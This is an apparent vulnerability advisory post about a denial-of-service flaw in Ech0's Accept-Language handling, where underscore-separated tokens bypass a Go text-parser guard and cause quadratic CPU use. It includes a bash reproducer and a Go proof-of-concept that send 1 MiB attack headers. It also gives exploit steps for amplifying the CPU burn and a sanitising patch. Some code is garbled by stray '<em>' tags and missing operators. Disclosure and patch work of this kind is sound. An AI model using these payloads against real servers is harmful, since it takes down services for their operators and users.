Ech0 i18n Middleware DoS via Accept-Language Parser Bypass (CVE-2022-32149) -DC-Jul2026-1000

Listen to this Post

Ech0’s i18n middleware runs on every HTTP request and constructs a fresh goi18n.Localizer from the raw Accept-Language header without imposing any size or shape filter【0†L1-L4】. The middleware calls goi18n.NewLocalizer, which internally invokes `golang.org/x/text/language.ParseAcceptLanguage` on the header value【0†L7-L10】. The underlying parser has quadratic-time behaviour on long lists of malformed language tags【0†L4-L6】. CVE-2022-32149 added a guard in `golang.org/x/text` v0.3.8 that caps the number of ‘-‘ characters in the input at 1000【0†L45-L48】. However, the guard does not count ‘‘ characters, even though the parser’s internal scanner aliases ‘‘ to ‘-‘ before parsing【0†L48-L51】. A single unauthenticated GET request with an Accept-Language header built out of ‘_’ separators burns about 1.5 seconds of server CPU on the host running Ech0【0†L12-L15】. Ten concurrent attackers saturate a ten-core box for the duration of the attack while consuming ~10 MiB/s of upstream bandwidth【0†L12-L15】. The vulnerable code resides in `internal/i18n/i18n.go` at lines 202-213, where `Middleware()` calls `setLocaleContext` with the unfiltered header【0†L30-L35】. `setLocaleContext` then calls NewLocalizer(normalized, acceptLanguage), which is a thin wrapper around goi18n.NewLocalizer【0†L37-L42】. `goi18n.NewLocalizer` calls `language.ParseAcceptLanguage(lang)` for every passed string in its `parseTags` helper【0†L42-L44】. The `ctx.GetHeader(“Accept-Language”)` returns the full attacker-supplied header value, and Go’s default `net/http MaxHeaderBytes` is 1 MiB【0†L44-L46】. The additional `ResolveLocale` path at line 208 also calls `language.ParseAcceptLanguage` directly when `X-Locale` or the `lang` query parameter is set, with the same vector and a longer-running effect【0†L46-L48】. A 1 MiB header full of 9-character `_abcdefghi` tokens contains zero ‘-‘ characters, passes the guard, and then drives the scanner into the O(N²) `gobble` path【0†L48-L52】. Each 9-character token fails the scanner’s `len <= 8` tag-length check and triggers a `gobble` call that `runtime.memmove`s the entire remaining buffer【0†L69-L72】. With N invalid tokens the total bytes moved by `gobble` is O(N²)【0†L71-L72】.

DailyCVE Form:

Platform: Ech0
Version: v4.8.2
Vulnerability: DoS
Severity: High
date: 2026-07-15

Prediction: 2026-07-22

What Undercode Say:

Single-line bash reproducer
docker run -d --name ech0 --rm -p 18300:6277 ghcr.io/lin-snow/ech0:latest
sleep 5
PAYLOAD="en$(python3 -c 'print("<em>abcdefghi" 100000, end="")')"
echo "header size = ${PAYLOAD} bytes"
curl -sS -o /dev/null \
-w 'http=%{http_code} t=%{time_total}\n' \
-H "Accept-Language: ${PAYLOAD}" \
http://127.0.0.1:18300/
// poc.go - End-to-end reproduction
package main
import (
"fmt"
"io"
"net"
"net/http"
"strings"
"time"
)
const targetURL = "http://127.0.0.1:18300/"
func buildPayload(sep string, targetBytes int) string {
const tok = "abcdefghi"
var b strings.Builder
b.Grow(targetBytes + 16)
b.WriteString("en")
for b.Len()+1+len(tok) <= targetBytes {
b.WriteString(sep)
b.WriteString(tok)
}
return b.String()
}
func send(label, header string) {
client := &http.Client{
Timeout: 60 time.Second,
Transport: &http.Transport{
DisableKeepAlives: true,
DialContext: (&net.Dialer{Timeout: 5 time.Second}).DialContext,
},
}
req, _ := http.NewRequest("GET", targetURL, nil)
if header != "" {
req.Header.Set("Accept-Language", header)
}
t0 := time.Now()
resp, err := client.Do(req)
dt := time.Since(t0)
if err != nil {
fmt.Printf(" %-32s ERR after %v: %v\n", label, dt, err)
return
}
_, _ = io.Copy(io.Discard, resp.Body)
resp.Body.Close()
fmt.Printf(" %-32s header=%d B '</em>'=%d '-'=%d status=%d t=%v\n",
label, len(header),
strings.Count(header, "<em>"), strings.Count(header, "-"),
resp.StatusCode, dt)
}
func main() {
send("warm-up", "")
send("baseline (no header)", "")
send("baseline (1 short tag)", "en-US")
send("guard-fires ('-' x 1MiB)", buildPayload("-", 1<<20))
send("attack ('</em>' x 1MiB)", buildPayload("<em>", 1<<20))
send("attack repeat 2", buildPayload("</em>", 1<<20))
send("attack repeat 3", buildPayload("_", 1<<20))
}

Exploit:

– Send a GET request with a 1 MiB `Accept-Language` header composed of `_abcdefghi` tokens (e.g., en_abcdefghi_abcdefghi_...).
– Optionally add `X-Locale: en` or `?lang=en` to trigger the `ResolveLocale` path, doubling the CPU burn to ~7.9 seconds per request【0†L87-L91】.
– The attack returns HTTP 200 OK, making it invisible in 4xx/5xx dashboards【0†L98-L100】.
– Ten concurrent attackers using ~10 MiB/s upstream bandwidth can pin a 10-core Ech0 instance indefinitely【0†L96-L98】.

Protection:

  • Apply a size/character-class filter at the i18n middleware boundary before the header reaches setLocaleContext【0†L106-L108】.
  • Count both ‘_’ and ‘-‘ separators and drop the header when the total exceeds a small ceiling (e.g., 32)【0†L109-L113】.
  • Real browser `Accept-Language` headers contain under 10 separators, so a ceiling of 32 leaves ample headroom【0†L120-L122】.
  • Apply the same sanitization wherever `Accept-Language` is consumed (e.g., `HeaderLocale` and `user.go` paths)【0†L118-L120】.
    // internal/i18n/i18n.go
    const maxAcceptLanguageSeparators = 32 // real browsers send < 10
    func sanitizeAcceptLanguage(v string) string {
    if strings.Count(v, "-")+strings.Count(v, "_") > maxAcceptLanguageSeparators {
    return ""
    }
    return v
    }
    func Middleware() gin.HandlerFunc {
    return func(ctx gin.Context) {
    explicit := explicitLocaleFromRequest(ctx)
    acceptLanguage := sanitizeAcceptLanguage(strings.TrimSpace(ctx.GetHeader("Accept-Language")))
    locale := systemDefaultLocale()
    if explicit != "" {
    locale = ResolveLocale(explicit, acceptLanguage)
    }
    setLocaleContext(ctx, locale, acceptLanguage)
    ctx.Next()
    }
    }
    

Impact:

  • One unauthenticated client can pin one CPU core for ~1.5 seconds per 1 MiB request【0†L96-L97】.
  • Adding `X-Locale: en` increases the CPU burn to ~7.9 seconds per request【0†L87-L91】.
  • The attack amplifies server CPU consumption by ~70x in the default case (21 ms guard-fires vs 1.5 s attack) and ~370x with X-Locale【0†L93-L95】.
  • Self-hosted Ech0 instances exposed to the public internet are vulnerable【0†L100】.
  • The underlying issue exists in golang.org/x/text/language; a future upstream fix is needed, but the middleware filter provides defensive-in-depth【0†L122-L125】.

🎯Let’s Practice Exploiting & Learn Patching For Free:

🎓 Live Courses & Certifications:

Join Undercode Academy for Verified Certifications

🚀 Request a Custom Project:

Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands

Sources:

Reported By: github.com
Extra Source Hub:
Undercode

🔐JOIN OUR CYBER WORLD [ CVE News • HackMonitor • UndercodeNews ]

💬 Whatsapp | 💬 Telegram

📢 Follow DailyCVE & Stay Tuned:

𝕏 formerly Twitter 🐦 | @ Threads | 🔗 Linkedin Featured Image

Scroll to Top